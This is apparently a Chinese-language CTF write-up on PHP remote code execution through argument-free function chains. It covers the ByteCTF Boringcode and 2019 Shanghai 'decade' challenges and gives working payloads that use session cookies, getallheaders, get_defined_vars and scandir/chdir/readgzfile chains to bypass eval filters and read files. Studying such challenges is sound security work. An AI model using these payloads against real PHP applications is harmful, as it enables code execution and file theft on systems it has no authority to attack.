php无参数RCE

0x 01 源代码分析

1
2
3
4
5
6
7
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?>
1
2
preg_replace 的主要功能就是限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数,例如print_r("123");这种的,是不允许进行传入的
preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,需要去构造别的方法去执行命令。

0x 02 解题方法

  • http-header传参

在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。

1
2
3
4
payload:code=eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b

### hex("phpinfo();")=706870696e666f28293b

  • post/get传入参数

    get_defined_vars()函数

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

1
payload:?code=eval(end(current(get_defined_vars())));&b=phpinfo();

​ getallheaders()函数

1
2
paylaod:?code=eval(end(getallheaders()));
lxj: phpinfo();

任意文件读取:dirname() & chdir()

1
2
3
4
当前目录的目录遍历:?code=var_dump(scandir(getcwd()));
目录上跳遍历:?code=var_dump(scandir(dirname(getcwd())));、
修改目录:chdir(dirname(getcwd()))
具体参考:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%95%E4%BA%94%EF%BC%9Adirname-amp-chdir

0x 03 例题分析

3.1 ByteCTF Boringcode

原题部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

这题加大了很多难度,过滤了这么些东西 /et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/

首先利用readfile(end(scandir(“.”))) #

可以成功读取当前目录下的最后一个文件的,下一步就是绕过”.”

这里利用了localeconv()函数,函数返回的数组第一位正是我们需要的“.”函数,尝试构造一下

1
readfile(end(scandir(reset(localeconv()))));

可以成功读取当前目录下的最后一个文件,其他构造点的payload

1
2
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) #46

参考payload:

1
2
3
4
5
6
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
# next(scandir(pos(localeconv()))) 返回字符串'..'即当前目录的上一级目录
# 使用chdir()函数,更改目录,返回1的同时,读取目录下的文件

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
# 通过chdir修改当前目录,通过localtime()等函数构造chr(46)即“.”达到读取上层目录文件的目的

官方WP:

1
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

3.2 2019上海市大学生网络安全大赛_decade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "invalid";
}
}else {
echo "invalid";
}

?>

相比Byte发现与Byte的题目很相似,不同的就是正则过滤的更多了,我们就不能使用readfile等方式去读文件了,也不能用time的方式去获取“.”了。首先还是fuzz一下,php中类似readfile的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '111'));

$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
print_r($i_need_func);

发现readgzfile这个函数,看一下函数的定义,主要是读取一个压缩文件,不过在本地测试时发现,该函数也可以实现readfile的功能去读取文件。

字节跳动原payload

1
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))))))));

将readfile修改为readgzfile,这里不再使用time()函数,使用ord()、hebrevc()等函数构造,在7.0的php环境下:

首先尝试读取当前目录下的文件,仍然是构造“.”,原来构造的paylod:

1
readfile(end(scandir(reset(localeconv()))));

因为题目中正则将“local”给过滤了,所以要换种方法去构造,本地尝试构造:

1
readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))));

但因为sqrt函数被过滤,继续构造

1
(ord(hebrevc(crypt(phpversion()))));

crypt每次加密都是随机的,修改payload

1
print_r(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))));

读取文件

1
readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

极客大挑战 2019

image.png-130.7kB

该函数会获取我们传输中headers的所有信息并以数组形式输出,我们可以将恶意代码写在传输的headers头中,再使用该函数进行包含执行,这样就可以达到我们绕过检测命令执行的目的

1
2
3
#headers : readfile("theflag.php");

eval(end(getallheaders()));

https://www.cnblogs.com/sylover/p/11863778.html

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/